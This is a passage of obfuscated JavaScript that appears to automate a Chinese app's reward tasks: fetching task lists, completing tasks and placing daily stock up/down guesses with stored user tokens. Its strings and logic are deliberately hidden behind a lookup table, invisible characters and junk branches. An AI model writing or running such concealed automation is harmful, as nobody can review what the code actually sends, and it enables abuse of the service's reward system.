_0x21fa62=_0x1a7bcc[_0x2271('‫1ea')](_0x12b249,0x0)?'跌':'涨';this[_0x2271('‮191')]=_0x1a7bcc[_0x2271('‫1ea')](_0x12b249,0x0)?0x2:0x1;console[_0x2271('‫4f')](_0x5a574f+_0x2271('‫198')+_0x1f9214+_0x2271('‫199')+_0x4bf48e+_0x2271('‮19a')+_0x1a7bcc[_0x2271('‮1e9')](Math[_0x2271('‮19c')](_0x1a7bcc[_0x2271('‫1eb')](_0xd9d708,0x64)),0x64)+_0x2271('‮19d')+_0x1a7bcc[_0x2271('‫1ec')](Math[_0x2271('‮19c')](_0x1a7bcc[_0x2271('‫1eb')](_0x12b249,0x64)),0x64)+_0x2271('‫19f')+_0x21fa62);}}else{if(_0x1a7bcc[_0x2271('‫1ed')](_0x1a7bcc[_0x2271('‫1ee')],_0x1a7bcc[_0x2271('‫1ee')])){console[_0x2271('‫4f')](_0x2271('‮1ef')+_0x2969da[_0x2271('‮ba')]);}else{console[_0x2271('‫4f')](_0x2271('‮1f0')+_0x2969da[_0x2271('‮ba')]);}}}catch(_0x1677fc){console[_0x2271('‫4f')](_0x1677fc);}finally{}}async[_0x2271('‫190')](_0x2d1714){var _0x321af5={'CAnMf':function(_0x5d50e4,_0x55c28b){return _0x5d50e4>_0x55c28b;},'yCHHV':function(_0x3146e7,_0x345e16){return _0x3146e7!==_0x345e16;},'JeELb':_0x2271('‮1f1'),'gkvyV':function(_0x13b3de,_0x285e85,_0x25a586,_0x5b9dd4){return _0x13b3de(_0x285e85,_0x25a586,_0x5b9dd4);},'ujzBT':function(_0x5d5cc8,_0x1b8a68,_0x29ed74){return _0x5d5cc8(_0x1b8a68,_0x29ed74);},'EGpki':_0x2271('‫82'),'fXPIH':function(_0x187c6b,_0xf39056){return _0x187c6b==_0xf39056;}};try{if(_0x321af5[_0x2271('‫1f2')](_0x321af5[_0x2271('‮1f3')],_0x321af5[_0x2271('‮1f3')])){if(result[_0x2271('‫1d5')]&&_0x321af5[_0x2271('‫1f4')](result[_0x2271('‫1d5')][_0x2271('‫55')],0x0)){for(let _0x4e1098 of result[_0x2271('‫1d5')]){console[_0x2271('‫4f')](_0x2271('‫1d7')+_0x4e1098[_0x2271('‮1d8')]+_0x2271('‮1d9')+_0x4e1098[_0x2271('‫53')]);}}console[_0x2271('‫4f')](_0x2271('‫1da')+result[_0x2271('‫1db')]);}else{let _0xec5533=_0x2271('‫1f5')+_0x2d1714+_0x2271('‮113')+todayDate+_0x2271('‮1ce')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x52b2e1='';let _0xd2eeca=_0x321af5[_0x2271('‮1f6')](populateUrlObject,_0xec5533,this[_0x2271('‫47')],_0x52b2e1);await _0x321af5[_0x2271('‮1f7')](httpRequest,_0x321af5[_0x2271('‮1f8')],_0xd2eeca);let _0x16d8c9=httpResult;if(!_0x16d8c9)return;let _0x2b03f8=_0x321af5[_0x2271('‫1f9')](_0x2d1714,0x1)?'猜涨':'猜跌';if(_0x321af5[_0x2271('‫1f9')](_0x16d8c9[_0x2271('‮8f')],0x0)){console[_0x2271('‫4f')](_0x2271('‫1fa')+_0x2b03f8+'成功');}else{console[_0x2271('‫4f')](_0x2271('‫1fa')+_0x2b03f8+_0x2271('‫171')+_0x16d8c9[_0x2271('‮ba')]);}}}catch(_0x528b2a){console[_0x2271('‫4f')](_0x528b2a);}finally{}}async[_0x2271('‮1fb')](_0x1de66d,_0x56507d){var _0x7feae0={'FLPdx':function(_0xe85d14,_0x26c0de){return _0xe85d14!==_0x26c0de;},'kdstf':_0x2271('‫1fc'),'fvLok':_0x2271('‮1fd'),'VfUKA':function(_0x14164d,_0x47ece6,_0x544313,_0x3f692d){return _0x14164d(_0x47ece6,_0x544313,_0x3f692d);},'xWjLX':function(_0x41e0b4,_0x470de7,_0x4dde6f){return _0x41e0b4(_0x470de7,_0x4dde6f);},'iIecb':_0x2271('‫62'),'uuNZS':function(_0x71d24d,_0xab1b25){return _0x71d24d==_0xab1b25;},'iRBgm':function(_0x17af4f,_0x50b111){return _0x17af4f==_0x50b111;},'osNul':function(_0x39b098,_0x55e508){return _0x39b098===_0x55e508;},'wQEbB':_0x2271('‮1fe')};try{if(_0x7feae0[_0x2271('‫1ff')](_0x7feae0[_0x2271('‫200')],_0x7feae0[_0x2271('‫201')])){let _0x4e1962=_0x2271('‮202')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‫203');let _0x26c8e7=_0x2271('‮204')+_0x1de66d[_0x2271('‫205')]+_0x2271('‮113')+todayDate+_0x2271('‮206')+_0x56507d+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‫203');let _0x55b5b6=_0x7feae0[_0x2271('‮207')](populateUrlObject,_0x4e1962,this[_0x2271('‫47')],_0x26c8e7);await _0x7feae0[_0x2271('‫208')](httpRequest,_0x7feae0[_0x2271('‮209')],_0x55b5b6);let _0x2bcdac=httpResult;if(!_0x2bcdac)return;let _0x5999cd=_0x7feae0[_0x2271('‮20a')](_0x56507d,0x1)?'猜涨':'猜跌';if(_0x7feae0[_0x2271('‫20b')](_0x2bcdac[_0x2271('‮8f')],0x0)){console[_0x2271('‫4f')](_0x2271('‫170')+_0x5999cd+'成功');}else{console[_0x2271('‫4f')](_0x2271('‫170')+_0x5999cd+_0x2271('‫171')+_0x2bcdac[_0x2271('‮ba')]);}}else{console[_0x2271('‫4f')](e);}}catch(_0x97b6de){if(_0x7feae0[_0x2271('‫20c')](_0x7feae0[_0x2271('‫20d')],_0x7feae0[_0x2271('‫20d')])){console[_0x2271('‫4f')](_0x97b6de);}else{console[_0x2271('‫4f')](_0x97b6de);}}finally{}}async[_0x2271('‫1b0')](_0x5a6082){var _0x1741ed={'WZgym':function(_0x4a3928,_0x3f720c,_0x2a2eaf,_0x258f23){return _0x4a3928(_0x3f720c,_0x2a2eaf,_0x258f23);},'SzjdG':function(_0x1b704e,_0x7149e4,_0x5d892a){return _0x1b704e(_0x7149e4,_0x5d892a);},'zMcmc':_0x2271('‫82'),'ZmssO':function(_0x4965ef,_0x53fffb){return _0x4965ef==_0x53fffb;},'rsAPF':function(_0x2470bf,_0x1fafdb){return _0x2470bf>_0x1fafdb;},'bwLWT':function(_0x79701d,_0x28637f){return _0x79701d>_0x28637f;},'mfsXc':function(_0x97ad46,_0x51c5ca){return _0x97ad46<_0x51c5ca;},'ZpKlR':function(_0x57b5ad,_0x5b85d1){return _0x57b5ad===_0x5b85d1;},'FwsTu':_0x2271('‫20e'),'gskqu':_0x2271('‫20f'),'kKpIq':_0x2271('‫210')};try{let _0x599fe2=_0x2271('‫211')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮212')+_0x5a6082[_0x2271('‫205')]+_0x2271('‫213');let _0x4232eb='';let _0x282a3f=_0x1741ed[_0x2271('‮214')](populateUrlObject,_0x599fe2,this[_0x2271('‫47')],_0x4232eb);await _0x1741ed[_0x2271('‫215')](httpRequest,_0x1741ed[_0x2271('‫216')],_0x282a3f);let _0x39f881=httpResult;if(!_0x39f881)return;if(_0x1741ed[_0x2271('‫217')](_0x39f881[_0x2271('‮8f')],0x0)){console[_0x2271('‫4f')](_0x2271('‫218')+_0x39f881[_0x2271('‫219')]);if(_0x1741ed[_0x2271('‮21a')](_0x39f881[_0x2271('‫219')],0x0)){if(_0x1741ed[_0x2271('‮21b')](_0x39f881[_0x2271('‮178')][_0x2271('‫17a')],0x0)){console[_0x2271('‫4f')](_0x2271('‫21c')+_0x5a6082[_0x2271('‫21d')]);}else{let _0x106b02=_0x1741ed[_0x2271('‫21e')](_0x5a6082[_0x2271('‮14d')],0x0)?'跌':'涨';let _0x3a8cd5=_0x1741ed[_0x2271('‫21e')](_0x5a6082[_0x2271('‮14d')],0x0)?0x2:0x1;console[_0x2271('‫4f')](_0x5a6082[_0x2271('‫21d')]+_0x2271('‫21f')+_0x5a6082[_0x2271('‮14d')]+_0x2271('‮220')+_0x106b02);await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮1fb')](_0x5a6082,_0x3a8cd5);}}else{if(_0x1741ed[_0x2271('‮221')](_0x1741ed[_0x2271('‫222')],_0x1741ed[_0x2271('‫223')])){retStr+=padding;}else{console[_0x2271('‫4f')](_0x2271('‫224'));this[_0x2271('‮1ab')]=![];}}}else{if(_0x1741ed[_0x2271('‮221')](_0x1741ed[_0x2271('‫225')],_0x1741ed[_0x2271('‫225')])){console[_0x2271('‫4f')](_0x2271('‮226')+_0x39f881[_0x2271('‮ba')]);this[_0x2271('‮1ab')]=![];}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮b9')+_0x39f881[_0x2271('‮ba')]);}}}catch(_0x1f73e3){console[_0x2271('‫4f')](_0x1f73e3);}finally{}}async[_0x2271('‫227')](_0x3fe38a){var _0x45a6f2={'uuaGU':function(_0x4a3e50,_0x370fe2){return _0x4a3e50==_0x370fe2;},'kwwmb':_0x2271('‮14c'),'jxzZJ':function(_0x3093e9,_0x3100cc){return _0x3093e9>_0x3100cc;},'gzQLv':function(_0x2137ba,_0xfe3148,_0x5bd790,_0x278af6){return _0x2137ba(_0xfe3148,_0x5bd790,_0x278af6);},'RLiei':function(_0x702b80,_0x48ebcb,_0x4aa85d){return _0x702b80(_0x48ebcb,_0x4aa85d);},'hAdia':_0x2271('‫82'),'lrgMb':function(_0x574d87,_0x5346f1){return _0x574d87==_0x5346f1;},'hjcPf':function(_0x37c09b,_0x5d821c){return _0x37c09b!==_0x5d821c;},'atUca':_0x2271('‮228'),'MrZPU':_0x2271('‮229'),'iZikz':function(_0x4b737c,_0x5cd147){return _0x4b737c>_0x5cd147;},'Mqqnx':function(_0x3fdce6,_0x249d7f){return _0x3fdce6===_0x249d7f;},'zSfdM':_0x2271('‮22a')};try{let _0x1d52e5=_0x2271('‮22b')+_0x3fe38a[_0x2271('‫22c')]+_0x2271('‫22d')+_0x3fe38a[_0x2271('‮22e')]+_0x2271('‫22f')+_0x3fe38a[_0x2271('‮51')]+_0x2271('‫230')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x32549c='';let _0x319d88=_0x45a6f2[_0x2271('‫231')](populateUrlObject,_0x1d52e5,this[_0x2271('‫47')],_0x32549c);await _0x45a6f2[_0x2271('‮232')](httpRequest,_0x45a6f2[_0x2271('‫233')],_0x319d88);let _0x409361=httpResult;if(!_0x409361)return;if(_0x45a6f2[_0x2271('‫234')](_0x409361[_0x2271('‮8f')],0x0)){if(_0x45a6f2[_0x2271('‫235')](_0x45a6f2[_0x2271('‫236')],_0x45a6f2[_0x2271('‮237')])){if(_0x409361[_0x2271('‮121')]&&_0x45a6f2[_0x2271('‫238')](_0x409361[_0x2271('‮121')][_0x2271('‫55')],0x0)){console[_0x2271('‫4f')]('['+_0x3fe38a[_0x2271('‮51')]+']有'+_0x409361[_0x2271('‮121')][_0x2271('‫55')]+_0x2271('‮239'));test_taskList[_0x2271('‮4e')](_0x3fe38a[_0x2271('‮51')]);}}else{if(_0x45a6f2[_0x2271('‫23a')](type,_0x45a6f2[_0x2271('‮23b')])){this[_0x2271('‮3e')][_0x2271('‮14c')][share_type]=_0x409361[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a6')+share_type+_0x2271('‫1a7')+_0x409361[_0x2271('‮1a5')]);}else{this[_0x2271('‮3e')][_0x2271('‫32')][share_type]=_0x409361[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a8')+share_type+_0x2271('‫1a7')+_0x409361[_0x2271('‮1a5')]);}}}else{}}catch(_0x2f344b){if(_0x45a6f2[_0x2271('‮23c')](_0x45a6f2[_0x2271('‫23d')],_0x45a6f2[_0x2271('‫23d')])){console[_0x2271('‫4f')](_0x2f344b);}else{if(result[_0x2271('‮121')]&&_0x45a6f2[_0x2271('‫23e')](result[_0x2271('‮121')][_0x2271('‫55')],0x0)){console[_0x2271('‫4f')]('['+_0x3fe38a[_0x2271('‮51')]+']有'+result[_0x2271('‮121')][_0x2271('‫55')]+_0x2271('‮239'));test_taskList[_0x2271('‮4e')](_0x3fe38a[_0x2271('‮51')]);}}}finally{}}async[_0x2271('‮23f')](_0x321035,_0x25c1b5){var _0xe5a1ee={'PAlgz':function(_0x161957,_0x13fe14,_0x43227e,_0x18dd2f){return _0x161957(_0x13fe14,_0x43227e,_0x18dd2f);},'YuAeP':function(_0x479457,_0x53fd2b,_0x51b1f1){return _0x479457(_0x53fd2b,_0x51b1f1);},'EPsBG':_0x2271('‫82'),'zAkFE':function(_0x3c33db,_0x7258){return _0x3c33db==_0x7258;},'YmHVV':function(_0x43f578,_0x16f015){return _0x43f578!==_0x16f015;},'jeSOE':_0x2271('‮240'),'iQpyM':_0x2271('‮241')};try{let _0x48557f=_0x2271('‫242')+_0x321035+_0x2271('‮114')+_0x25c1b5+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x17d0ef='';let _0x3f863d=_0xe5a1ee[_0x2271('‫243')](populateUrlObject,_0x48557f,this[_0x2271('‫47')],_0x17d0ef);await _0xe5a1ee[_0x2271('‫244')](httpRequest,_0xe5a1ee[_0x2271('‫245')],_0x3f863d);let _0x31c2db=httpResult;if(!_0x31c2db)return;if(_0xe5a1ee[_0x2271('‮246')](_0x31c2db[_0x2271('‮8f')],0x0)){if(_0xe5a1ee[_0x2271('‮247')](_0xe5a1ee[_0x2271('‫248')],_0xe5a1ee[_0x2271('‫248')])){console[_0x2271('‫4f')]('['+taskItem[_0x2271('‮51')]+']有'+_0x31c2db[_0x2271('‮121')][_0x2271('‫55')]+_0x2271('‮239'));test_taskList[_0x2271('‮4e')](taskItem[_0x2271('‮51')]);}else{console[_0x2271('‫4f')](_0x2271('‮249')+_0x321035+_0x2271('‮24a')+_0x31c2db[_0x2271('‫53')]);}}else{console[_0x2271('‫4f')](_0x2271('‫1bc')+_0x321035+_0x2271('‮1bd')+_0x31c2db[_0x2271('‮ba')]);}}catch(_0x313a02){if(_0xe5a1ee[_0x2271('‮247')](_0xe5a1ee[_0x2271('‮24b')],_0xe5a1ee[_0x2271('‮24b')])){console[_0x2271('‫4f')](_0x2271('‮24c')+taskItem[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‫24d')+result[_0x2271('‮ba')]);}else{console[_0x2271('‫4f')](_0x313a02);}}finally{}}async[_0x2271('‮24e')](_0x591bc7){var _0x47fe93={'nPKSH':_0x2271('‫37'),'jLDie':function(_0x566925,_0x47d7b4){return _0x566925(_0x47d7b4);},'doRAX':function(_0x463b1e,_0x560c38,_0xe0b4fe,_0x2ae9f5){return _0x463b1e(_0x560c38,_0xe0b4fe,_0x2ae9f5);},'Esxgp':function(_0x4c06bb,_0x47828f,_0x3a29df){return _0x4c06bb(_0x47828f,_0x3a29df);},'RWUfD':_0x2271('‫82'),'BbuYf':function(_0xaf30d9,_0x5b12cf){return _0xaf30d9==_0x5b12cf;},'dnMUr':function(_0x166dee,_0x3b861d){return _0x166dee!==_0x3b861d;},'XFELw':_0x2271('‫24f'),'wRzoR':_0x2271('‮250'),'fbncj':function(_0x29e951,_0x23a16a){return _0x29e951>_0x23a16a;},'nbgmf':function(_0x4ab0f8,_0x14c037){return _0x4ab0f8!==_0x14c037;},'zTWaV':_0x2271('‮251'),'gcHHO':_0x2271('‫252'),'HFPDV':function(_0x5c1875,_0x434a97){return _0x5c1875>_0x434a97;},'pgQKi':function(_0x3848a3,_0x9296dc){return _0x3848a3>_0x9296dc;},'YviGw':function(_0x5d02c7,_0x59906a){return _0x5d02c7===_0x59906a;},'rTXzP':_0x2271('‮253'),'ERZJP':_0x2271('‫254'),'LOxca':function(_0x47854c,_0x4a78c5){return _0x47854c!==_0x4a78c5;},'TliPn':_0x2271('‫255'),'BoxEN':_0x2271('‮256')};try{let _0x680e1d=_0x2271('‮22b')+_0x591bc7[_0x2271('‫22c')]+_0x2271('‫22d')+_0x591bc7[_0x2271('‮22e')]+_0x2271('‫22f')+_0x591bc7[_0x2271('‮51')]+_0x2271('‫230')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x27aa13='';let _0x31a3d6=_0x47fe93[_0x2271('‫257')](populateUrlObject,_0x680e1d,this[_0x2271('‫47')],_0x27aa13);await _0x47fe93[_0x2271('‫258')](httpRequest,_0x47fe93[_0x2271('‮259')],_0x31a3d6);let _0xbf5136=httpResult;if(!_0xbf5136)return;if(_0x47fe93[_0x2271('‫25a')](_0xbf5136[_0x2271('‮8f')],0x0)){if(_0xbf5136[_0x2271('‫119')]){if(_0x47fe93[_0x2271('‮25b')](_0x47fe93[_0x2271('‫25c')],_0x47fe93[_0x2271('‫25d')])){console[_0x2271('‫4f')]('获取'+_0x591bc7[_0x2271('‮50')]+'['+_0x591bc7[_0x2271('‮51')]+_0x2271('‮bb')+_0xbf5136[_0x2271('‫bc')]);}else{notiStr+=_0x47fe93[_0x2271('‫25e')];this[_0x2271('‮3b')]=![];}}else{if(_0xbf5136[_0x2271('‮121')]&&_0x47fe93[_0x2271('‫25f')](_0xbf5136[_0x2271('‮121')][_0x2271('‫55')],0x0)){for(let _0x299c5a of _0xbf5136[_0x2271('‮121')]){if(_0x47fe93[_0x2271('‮260')](_0x47fe93[_0x2271('‮261')],_0x47fe93[_0x2271('‮262')])){if(_0x299c5a[_0x2271('‫133')]){await this[_0x2271('‮23f')](_0x591bc7[_0x2271('‮51')],_0x299c5a[_0x2271('‫133')]);continue;}if(_0x47fe93[_0x2271('‮263')](_0x299c5a[_0x2271('‮264')],0x0)){continue;}if(_0x299c5a[_0x2271('‮125')]&&_0x47fe93[_0x2271('‫265')](_0x299c5a[_0x2271('‮125')][_0x2271('‫55')],0x0)){if(_0x47fe93[_0x2271('‮266')](_0x47fe93[_0x2271('‮267')],_0x47fe93[_0x2271('‫268')])){console[_0x2271('‫4f')](e);}else{for(let _0x22f23f of _0x299c5a[_0x2271('‮125')]){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮269')](_0x591bc7,_0x22f23f['id'],_0x22f23f[_0x2271('‮26a')]);}}}}else{u=a=0x40;}}}}}else{if(_0x47fe93[_0x2271('‫26b')](_0x47fe93[_0x2271('‮26c')],_0x47fe93[_0x2271('‮26d')])){console[_0x2271('‫4f')]('获取'+_0x591bc7[_0x2271('‮50')]+'['+_0x591bc7[_0x2271('‮51')]+_0x2271('‮bb')+_0xbf5136[_0x2271('‮ba')]);}else{ret[kv[0x0]]=_0x47fe93[_0x2271('‫26e')](decodeURIComponent,kv[0x1]);}}}catch(_0x2aaa1f){console[_0x2271('‫4f')](_0x2aaa1f);}finally{}}async[_0x2271('‮269')](_0x3743f6,_0x13d285,_0x13c52a){var _0x4233a2={'HTzhr':function(_0x162d05,_0x3422f7){return _0x162d05-_0x3422f7;},'phacQ':function(_0x57c77f,_0x28b114){return _0x57c77f*_0x28b114;},'QxFjt':function(_0x4475b9,_0x5b93d5){return _0x4475b9/_0x5b93d5;},'wNqJO':function(_0x48ddcb,_0x264839){return _0x48ddcb<_0x264839;},'veUAf':function(_0x4ceb42,_0x11d4ec){return _0x4ceb42/_0x11d4ec;},'pTksM':function(_0x33e00b,_0x3331b9){return _0x33e00b/_0x3331b9;},'ITaEL':function(_0xc18274,_0x385e08){return _0xc18274*_0x385e08;},'oMqym':_0x2271('‫26f'),'MSsba':function(_0x21e7cd,_0xb5c421,_0x183642,_0x129dd8){return _0x21e7cd(_0xb5c421,_0x183642,_0x129dd8);},'erEMk':function(_0x440976,_0xddfc18,_0x3b0c0f){return _0x440976(_0xddfc18,_0x3b0c0f);},'bMprv':_0x2271('‫82'),'iyrAh':function(_0x53a40e,_0x54076b){return _0x53a40e==_0x54076b;},'OBtrv':function(_0x5b3049,_0x43ece2){return _0x5b3049===_0x43ece2;},'caxSr':_0x2271('‮270'),'xIqjn':_0x2271('‮271'),'BtDfs':function(_0x324921,_0x32ae6d){return _0x324921===_0x32ae6d;},'JfwKW':_0x2271('‮272')};try{let _0x40028c=_0x2271('‮273')+_0x13d285+_0x2271('‮274')+_0x13c52a+_0x2271('‫22f')+_0x3743f6[_0x2271('‮51')]+_0x2271('‮275')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x2c17ce='';let _0x198f8c=_0x4233a2[_0x2271('‮276')](populateUrlObject,_0x40028c,this[_0x2271('‫47')],_0x2c17ce);await _0x4233a2[_0x2271('‫277')](httpRequest,_0x4233a2[_0x2271('‫278')],_0x198f8c);let _0x24530c=httpResult;if(!_0x24530c)return;if(_0x4233a2[_0x2271('‮279')](_0x24530c[_0x2271('‮8f')],0x0)){if(_0x4233a2[_0x2271('‫27a')](_0x4233a2[_0x2271('‮27b')],_0x4233a2[_0x2271('‮27c')])){let _0x527fe7=_0x24530c[_0x2271('‫1e5')][_0x2271('‫1e6')]||'';if(_0x527fe7){let _0x1ea81f=_0x24530c[_0x2271('‫192')][_0x2271('‮193')]||0x0;let _0x263151=_0x24530c[_0x2271('‫192')][_0x2271('‮194')]||0x0;let _0x1e8c73=_0x4233a2[_0x2271('‮27d')](_0x1ea81f,_0x263151);let _0x19ecbb=_0x4233a2[_0x2271('‫27e')](_0x4233a2[_0x2271('‮27f')](_0x1e8c73,_0x263151),0x64);let _0xcedfa=_0x4233a2[_0x2271('‮280')](_0x1e8c73,0x0)?'跌':'涨';this[_0x2271('‮191')]=_0x4233a2[_0x2271('‮280')](_0x1e8c73,0x0)?0x2:0x1;console[_0x2271('‫4f')](_0x527fe7+_0x2271('‫198')+_0x1ea81f+_0x2271('‫199')+_0x263151+_0x2271('‮19a')+_0x4233a2[_0x2271('‮281')](Math[_0x2271('‮19c')](_0x4233a2[_0x2271('‫27e')](_0x19ecbb,0x64)),0x64)+_0x2271('‮19d')+_0x4233a2[_0x2271('‫282')](Math[_0x2271('‮19c')](_0x4233a2[_0x2271('‮283')](_0x1e8c73,0x64)),0x64)+_0x2271('‫19f')+_0xcedfa);}}else{if(_0x4233a2[_0x2271('‮279')](_0x24530c[_0x2271('‫284')],0x0)){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮285')](_0x3743f6,_0x13d285,_0x13c52a);}else{if(_0x4233a2[_0x2271('‫286')](_0x4233a2[_0x2271('‮287')],_0x4233a2[_0x2271('‮287')])){console[_0x2271('‫4f')](_0x3743f6[_0x2271('‮50')]+'['+_0x3743f6[_0x2271('‮51')]+'-'+_0x13d285+'-'+_0x13c52a+_0x2271('‮5e'));}else{console[_0x2271('‫4f')](_0x4233a2[_0x2271('‫288')]);return;}}}}else{console[_0x2271('‫4f')](_0x2271('‮24c')+_0x3743f6[_0x2271('‮51')]+'-'+_0x13d285+'-'+_0x13c52a+_0x2271('‫24d')+_0x24530c[_0x2271('‮ba')]);}}catch(_0x275b73){console[_0x2271('‫4f')](_0x275b73);}finally{}}async[_0x2271('‮285')](_0x12ad22,_0x36d906,_0x1440da){var _0x410f3e={'noDMQ':function(_0x3e1f79,_0x3770e9,_0x119783,_0x18547a){return _0x3e1f79(_0x3770e9,_0x119783,_0x18547a);},'HfxOA':function(_0x1128c8,_0x3727bd,_0x413b9a){return _0x1128c8(_0x3727bd,_0x413b9a);},'ePdyg':_0x2271('‫82'),'CYDlY':function(_0x19587e,_0x5e1049){return _0x19587e==_0x5e1049;},'bASPi':function(_0x33844a,_0x4375b9){return _0x33844a!==_0x4375b9;},'NfdcF':_0x2271('‮289')};try{let _0x477d86=_0x2271('‫28a')+_0x12ad22[_0x2271('‮51')]+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x20d100='';let _0x466e3a=_0x410f3e[_0x2271('‮28b')](populateUrlObject,_0x477d86,this[_0x2271('‫47')],_0x20d100);await _0x410f3e[_0x2271('‮28c')](httpRequest,_0x410f3e[_0x2271('‮28d')],_0x466e3a);let _0x41e806=httpResult;if(!_0x41e806)return;if(_0x410f3e[_0x2271('‮28e')](_0x41e806[_0x2271('‮8f')],0x0)){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫28f')](_0x12ad22,_0x41e806[_0x2271('‫290')],_0x36d906,_0x1440da);}else{if(_0x410f3e[_0x2271('‮291')](_0x410f3e[_0x2271('‫292')],_0x410f3e[_0x2271('‫292')])){console[_0x2271('‫4f')](e);}else{console[_0x2271('‫4f')](_0x2271('‮293')+_0x41e806[_0x2271('‮ba')]);}}}catch(_0x53a070){console[_0x2271('‫4f')](_0x53a070);}finally{}}async[_0x2271('‫28f')](_0x56f292,_0x38aad4,_0x4701c6,_0x38678d){var _0x2d752a={'TUgWD':function(_0x5b4760,_0x42ab59){return _0x5b4760|_0x42ab59;},'pYayO':function(_0x2089d0,_0x11acf7){return _0x2089d0<<_0x11acf7;},'sEHWF':function(_0x19a8b1,_0x1292bf){return _0x19a8b1>>>_0x1292bf;},'GIhfS':function(_0x3d4925,_0x30f092){return _0x3d4925-_0x30f092;},'fxJQw':function(_0x44152d,_0x419679,_0x14b43c,_0x3d819e){return _0x44152d(_0x419679,_0x14b43c,_0x3d819e);},'CiFwc':function(_0x11a524,_0x4282ff,_0x1c04a9){return _0x11a524(_0x4282ff,_0x1c04a9);},'oTEMC':_0x2271('‫82'),'SKUNh':function(_0x2ebb8e,_0x4fa285){return _0x2ebb8e==_0x4fa285;},'MAmcb':function(_0x2ecf1b,_0x3972ce){return _0x2ecf1b===_0x3972ce;},'QHpEY':_0x2271('‫294')};try{let _0x57f77d=_0x2271('‮295')+_0x56f292[_0x2271('‮51')]+_0x2271('‫296')+_0x4701c6+_0x2271('‮274')+_0x38678d+_0x2271('‮297')+_0x38aad4+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x209a68='';let _0x143a73=_0x2d752a[_0x2271('‮298')](populateUrlObject,_0x57f77d,this[_0x2271('‫47')],_0x209a68);await _0x2d752a[_0x2271('‫299')](httpRequest,_0x2d752a[_0x2271('‫29a')],_0x143a73);let _0x1bfc5c=httpResult;if(!_0x1bfc5c)return;if(_0x2d752a[_0x2271('‮29b')](_0x1bfc5c[_0x2271('‮8f')],0x0)){console[_0x2271('‫4f')]('完成'+_0x56f292[_0x2271('‮50')]+'['+_0x56f292[_0x2271('‮51')]+'-'+_0x4701c6+'-'+_0x38678d+_0x2271('‫52')+_0x1bfc5c[_0x2271('‫53')]);}else{console[_0x2271('‫4f')](_0x56f292[_0x2271('‮50')]+'['+_0x56f292[_0x2271('‮51')]+'-'+_0x4701c6+'-'+_0x38678d+_0x2271('‮29c')+_0x1bfc5c[_0x2271('‮ba')]);}}catch(_0x5b8e61){if(_0x2d752a[_0x2271('‫29d')](_0x2d752a[_0x2271('‫29e')],_0x2d752a[_0x2271('‫29e')])){console[_0x2271('‫4f')](_0x5b8e61);}else{return _0x2d752a[_0x2271('‫29f')](_0x2d752a[_0x2271('‮2a0')](a,b),_0x2d752a[_0x2271('‮2a1')](a,_0x2d752a[_0x2271('‮2a2')](0x20,b)));}}finally{}}async[_0x2271('‮2a3')](_0xd97354){var _0x58b075={'JRHdD':function(_0x16a6d8,_0x22b8e7){return _0x16a6d8(_0x22b8e7);},'HXzMc':_0x2271('‮2a4'),'qwyfC':_0x2271('‫2a5'),'pjLOa':_0x2271('‫7f'),'nktKj':_0x2271('‮80'),'aNlBW':_0x2271('‫81'),'FlIZT':function(_0x573d44,_0x47bc84){return _0x573d44+_0x47bc84;},'EcrRE':function(_0x53e50f,_0x127051){return _0x53e50f^_0x127051;},'eyvIQ':function(_0x3eb215,_0xf438a7){return _0x3eb215|_0xf438a7;},'OfGfj':function(_0x52b070,_0x2ed277,_0x30197a,_0x5a4599){return _0x52b070(_0x2ed277,_0x30197a,_0x5a4599);},'zLDjw':function(_0x107d9e,_0x58bce7,_0x134f63){return _0x107d9e(_0x58bce7,_0x134f63);},'uIFcY':_0x2271('‫82'),'ZRsFM':function(_0x19819a,_0xcb7ebd){return _0x19819a==_0xcb7ebd;},'OiDsv':function(_0x4db35b,_0x36650e){return _0x4db35b!==_0x36650e;},'rUgmD':_0x2271('‫2a6'),'CtQHa':_0x2271('‮2a7'),'NmHWC':function(_0x5aef76,_0xaf5183){return _0x5aef76>_0xaf5183;},'JbYkR':function(_0x40d227,_0x3421ac){return _0x40d227===_0x3421ac;},'gmMHr':_0x2271('‮2a8'),'OvgJM':_0x2271('‫2a9'),'qxNZc':function(_0x2fda51,_0x332f42){return _0x2fda51!==_0x332f42;},'QXggu':_0x2271('‮2aa'),'aoVKL':_0x2271('‮2ab'),'vnNBq':_0x2271('‮2ac'),'QjQii':_0x2271('‮2ad'),'WtNOU':function(_0x164315,_0x18342b){return _0x164315>_0x18342b;},'aXRPn':function(_0x25d357,_0x469a2f){return _0x25d357>_0x469a2f;},'keXqL':function(_0xd3c574,_0x1b2ea8){return _0xd3c574===_0x1b2ea8;},'aeOSj':_0x2271('‮2ae')};try{let _0x5a0b5d=_0x2271('‮22b')+_0xd97354[_0x2271('‫22c')]+_0x2271('‫22d')+_0xd97354[_0x2271('‮22e')]+_0x2271('‫22f')+_0xd97354[_0x2271('‮51')]+_0x2271('‫2af');let _0xa4d026='';let _0x39ddd0=_0x58b075[_0x2271('‫2b0')](populateUrlObject,_0x5a0b5d,this[_0x2271('‫47')],_0xa4d026);await 